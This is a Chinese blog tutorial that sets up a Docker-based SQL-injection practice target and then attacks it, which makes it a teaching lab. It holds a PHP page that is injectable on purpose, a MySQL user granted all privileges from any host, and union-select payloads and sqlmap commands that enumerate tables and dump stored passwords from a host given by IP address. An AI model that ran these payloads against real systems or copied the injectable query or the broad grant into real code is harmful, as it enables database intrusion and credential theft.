Docker搭建SQL注入漏洞
什么是Docker
Docker又被叫做容器,使用教程參考我的博客:
傳送門
如何搭建靶場
這里以ubuntu上搭建docker為例
首先下載docker:
apt install docker.io
apt install docker-compose
如何搭建web服務器
一般來說比較推薦Apache,詳細教程請查看我的博客
如何寫php文件
以一個簡單的php文件為例,如果有需要請自行增加功能。
<?php
error_reporting(0); //不報錯
$con = mysqli_connect("127.0.0.1","ubuntu","ubuntu","ctf"); //連接本地數據庫,賬號為ubuntu,密碼為ubuntu,連接的數據庫名字叫ctf
if (!isset($_GET['id'])){ //判斷是否上傳一個id
Header("Location:?id=1"); //如果沒有上傳,默認加上 ?id=1
}
$id = $_GET['id']; //將傳上來的id賦值給$id變量
//if(preg_match("/ /order/i",$id)){ 這一塊是加上過濾的語句,這里搭建簡單靶場,所以將注釋過濾掉了
//die("<script>alert('Stop hacking!')</script>");
//}
$req = "select * from users where id=$id;"; //構造SQL讀取語句
$result=mysqli_query($con,$req); //執行SQL語句
$row = mysqli_fetch_all($result); //解析執行結果
echo "<center><font color='red'>".$row[0][0]."</font></br>"; //將結果輸出
echo "<font color='red'>".$row[0][1]."</font></br>";
echo "<font color='red'>".$row[0][2]."</font></center>";
?>
SQL文件的話可以參考
create database IF NOT EXISTS ctf;
use ctf;
CREATE TABLE IF NOT EXISTS users
(
id int(3) NOT NULL AUTO_INCREMENT,
username varchar(20) NOT NULL,
password varchar(60) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE emails
(
id int(3)NOT NULL AUTO_INCREMENT,
email_id varchar(30) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE uagents
(
id int(3)NOT NULL AUTO_INCREMENT,
uagent varchar(256) NOT NULL,
ip_address varchar(35) NOT NULL,
username varchar(20) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE referers
(
id int(3)NOT NULL AUTO_INCREMENT,
referer varchar(256) NOT NULL,
ip_address varchar(35) NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO ctf.users (id, username, password) VALUES ('1', 'Dumb', 'Dumb'), ('2', 'Angelina', 'I-kill-you'), ('3', 'Dummy', 'p@ssword'), ('4', 'secure', 'crappy'), ('5', 'superman', 'genious'), ('6', 'batman', 'mob!le'), ('7', 'admin', 'flag in /flag');
INSERT INTO `ctf`.`emails` (id, email_id) VALUES ('1', 'Dumb@dhakkan.com'), ('2', 'Angel@iloveu.com'), ('3', 'Dummy@dhakkan.local'), ('4', 'secure@dhakkan.local'), ('5', 'stupid@dhakkan.local'), ('6', 'superman@dhakkan.local'), ('7', 'batman@dhakkan.local'), ('8', 'flag{chenwei_laoshi_taiqiangle}');
寫Dockerfile
在以下內容之前,請先看前面那篇博客
FROM 1275178869/base_image_apache_php_mysql:sjx
COPY file /var/www/html #將當前文件夾中的file文件拷去/var/www/html
RUN rm /var/www/html/index.html
EXPOSE 80
構建Docker
一番操作下來,目前已經有的文件:
一共3個文件,其中db.sql
和index.php
在file文件夾中。
將整個文件夾上傳到服務器端:
然后運行
docker build -t sql:sql .
創建一個叫sql:sql
的鏡像,然后
docker run -it -p 3000:80 sql:sql /bin/bash
創建好了容器,主機的3000端口映射到容器的80端口上了。
這時候已經進入了容器
輸入
mysql -uroot -proot < /var/www/html/db.sql
導入數據庫
然后輸入
service mysql start
service apache2 start
開啟MySQL和Apache
輸入mysql
進入數據庫
然后創建一個叫ubuntu的用戶,密碼也用ubuntu,並賦予最高權限。
CREATE USER 'ubuntu'@'%' IDENTIFIED BY 'ubuntu';GRANT ALL PRIVILEGES ON *.* TO 'ubuntu'@'%' WITH GRANT OPTION;FLUSH PRIVILEGES;
這個時候已經搭建好靶場了,大家可以訪問主機ip:3000
來對docker進行訪問。
如果想退出docker可以輸入exit
進行退出
這個時候docker已經關閉了,可以用docker ps -a
查看暫停的容器,並用docker start +容器id
來開啟,就此搭建靶機結束!
SQL注入過程
判斷是數字類型注入還是字符型注入
輸入1'#
發現紅色的字已經沒了
輸入1#
紅色的字還在所以判斷此注入是數字型注入
判斷字段數
構造
http://111.229.229.17:3000/?id=1 order by 1#
http://111.229.229.17:3000/?id=1 order by 2#
http://111.229.229.17:3000/?id=1 order by 3#
http://111.229.229.17:3000/?id=1 order by 4#
證明一共有三個字段
判斷注入點
http://111.229.229.17:3000/?id=0 union select 1,2,3#
發現 1 2 3都有輝回顯,那么三個都是注入點
爆庫名
http://111.229.229.17:3000/?id=0 union select database(),2,3#
爆表名
http://111.229.229.17:3000/?id=0 union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctf'#
發現了4個表,猜測flag在users
表里面。
爆字段名
http://111.229.229.17:3000/?id=0 union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#
猜flag在password
字段里面
得到flag
http://111.229.229.17:3000/?id=0 union select group_concat(password),2,3 from users#
使用SQL注入工具
sqlmap解放雙手
下載傳送門
一款好用的工具可以大大降低我們的勞動,介紹一下sqlmap的使用。詳細使用過程參考這篇博客
這里就介紹一些簡單的指令
爆庫名
在sqlmap下載路徑下打開cmd,輸入
python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" --dbs
因為sqlmap是用python2寫的,所以要用python2調用。
-u
參數提供攻擊鏈接
--dbs
表示要爆庫名
有5個庫,選擇ctf
爆表名
python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf --tables
-D
參數表示選擇數據庫
--tables
表示爆表名
爆字段名
python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users --columns
-T
參數表示選擇users表
--columns
表示爆字段名
拿flag
python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users -C password --dump
-C
表示選擇字段
--dump
表示爆出內容